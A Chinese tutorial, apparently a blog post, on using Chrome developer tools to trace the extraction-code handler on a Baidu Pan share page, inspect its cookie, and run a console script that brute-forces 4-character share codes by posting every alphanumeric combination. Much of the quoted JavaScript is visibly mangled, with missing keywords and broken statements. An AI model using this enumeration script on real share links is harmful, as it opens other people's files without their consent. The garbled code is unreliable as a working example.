开发者工具使用实例

1、查找事件执行函数

举例

F12打开控制台

在 chrome 的控制台的Element选项卡面板里右侧面板有个 Event Listeners,这里会显示你所选择元素的原生事件。原生事件就是元素上直接οnclick="xx"等,如下图。

显示是按事件类型显示的,此处是标准事件click,展开后就是在哪些元素上绑定的,同一行后面超链接可以在Sources选显卡里定位处理过程。这个Dom事件模型要了解。然后紫色的handler就是处理函数,光标在上面就会显示出来。

浏览器开发者工具引入jQuery_ViewUI

下面来寻找百度云的那里按钮的处理函数。

右键菜单-Inspect element自动打开开发者控制台并定位在Element选项卡dom树里元素的位置。

浏览器开发者工具引入jQuery_bc_02

在弹出的Elements选项卡右侧面板选择Event Listeners,可以看到click的事件是通过元素id为submitBtn的标签为a来触发的。直接点击挂钩元素后的超链接或者找到handler,在上面右键鼠标选择"Show Function Definition"菜单,来打开处理函数。Js代码本来本来就是让人看到的,只要不是写的太挫就行。。。

 

浏览器开发者工具引入jQuery_bc_03

浏览器开发者工具引入jQuery_bc_04

2、分析

美化展开如下(使用了Jquery库):



// JavaScript source code

varfunction () {

var"#accessCode").attr("value"),//2222

"#ycode").val(),//""

".pickcode img:first").attr("verify"),//undefined

function () {

//语法 jQuery.post(url, data, success(data, textStatus, jqXHR), dataType)

"&t="newfunction (A) {

//请求成功时执行的回调函数。

varnull;

try {

     _ = $.parseJSON(A);

catch (B) {

     }

ifnull && _.errno == -62) {

".ac-close").addClass("ac-open").removeClass("ac-close");

"#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

     verifyCodeLoad();

else {

ifnull && (_.errno == -19 || _.errno == -63)) {

".ac-close").addClass("ac-open").removeClass("ac-close");

"#tip").css("display", "block").text("(\u9a8c\u8bc1\u7801\u9519\u8bef)");//验证码错误

     verifyCodeLoad();

else {

ifnull && _.errno == -9) {

"#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

else {

ifnull || _.errno !== 0) {

"#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

else {

"/share/link" + location.search);

     }

     }

     }

     }

     });

    };

if (A.length == 0) {

"#tip").text("(\u8bf7\u8f93\u5165\u63d0\u53d6\u5bc6\u7801\u518d\u63d0\u4ea4)").show();//请输入提取密码再提交

returnfalse;

else {

if"verify" && C.length == 0) {

"#tip").text("(\u8bf7\u8f93\u5165\u9a8c\u8bc1\u7801)").show();//请输入验证码

returnfalse;

else {

"#tip").css("display", "none");

//发送请求

}

}

A = A.toLowerCase();

}



 

看看id为accessCode的元素,Console选项卡里输入$("#accessCode")回车,光标移动到结果上显示位置,如图。

浏览器开发者工具引入jQuery_浏览器开发者工具引入jQuery_05



function//删除cookie

{

varnew Date();

exp.setTime(exp.getTime() - 1);

var cval = cookie_get(name);

ifnull) document.cookie = name + "="";expires=" + exp.toGMTString();

}

 

 

function//读取cookie

{

varnew"(^| )""=([^;]*)(;|$)");

if (arr = document.cookie.match(reg))

return unescape(arr[2]);

else

returnnull;

}



 

3、测试

对于某ID

有时喜欢使用短地址http://pan.baidu.com/s/1eQzPrjk,即

由于这个测试地址失效重新换了一个,输入一个提取码测试,如下返回结果。其中,返回了一个Set-Cookie,即BDCLND(大概就是百度云盘标识),每次成功都会改变。只要这个cookie存在关闭浏览器重新打开分享的地址就无需输入了,但是根据这个cookie时间貌似很长啊,一个月。

浏览器开发者工具引入jQuery_bc_06

4、代码枚举

如果直接在控制台执行提取码枚举:



(function pwd_enumeration() {

var"&t=",

"0123456789abcdefghijklmnopqrstuvwxyz",

"",

data_pwd,

post_url;

var pwd_idx0 = 0, pwd_idx1 = 0, pwd_idx2 = 0, pwd_idx3 = 0, maxidx = letterTable.length;

varfunction () {

new Date().getTime());

data_pwd = letterTable.charAt(pwd_idx0) + letterTable.charAt(pwd_idx1) + letterTable.charAt(pwd_idx2) + letterTable.charAt(pwd_idx3);

$.post(post_url, { pwd: data_pwd, vcode: data_vcode },

function (data) {

varnull;

try {

_ = $.parseJSON(A);

 

catch (e) {

}

ifnull != _ && 0 == _.errno) {

console.log(data_pwd);

else {

if (++pwd_idx3 >= maxidx) {

pwd_idx2++;

pwd_idx3 = 0;

}

if (pwd_idx2 >= maxidx) {

pwd_idx1++;

pwd_idx2 = 0;

}

if (pwd_idx1 >= maxidx) {

pwd_idx0++;

pwd_idx1 = 0;

}

if (pwd_idx0 < maxidx) {

setTimeout(pwd_enumeration_run, 1);

else {

"ends without pwd found.");

}

}

}

);

};

setTimeout(pwd_enumeration_run, 1);

})();



 

5、评估

如果此时打开,当上千条时就会很卡。。。不建议打开了。平均60ms一次,如果36^4 * 60ms = 100776960ms = 1679.616min = 27.9936h,最坏大约28小时,此页面的控制台进程内存也在涨。估计这个太不值得了,就为了一个提取码。如果纯数字就容易些,最坏10分钟。

浏览器开发者工具引入jQuery_javascript_07

在Task Manager(Shift+ECS)可以看到是否一直在执行。

浏览器开发者工具引入jQuery_javascript_08

 

 6、

<textarea id="runcode"></textarea >
<input οnclick="runEx('runcode')" type="button" value="运行代码">
function runEx(cod1) { cod=document.getElementById(cod1) var code=cod.value; if (code!=""){ var newwin=window.open('','',''); newwin.opener = null newwin.document.write(code); newwin.document.close(); } }

 

7、用自己手机接受一下,填写确认码。之后如下图删除再填写任意号码。

浏览器开发者工具引入jQuery_bc_09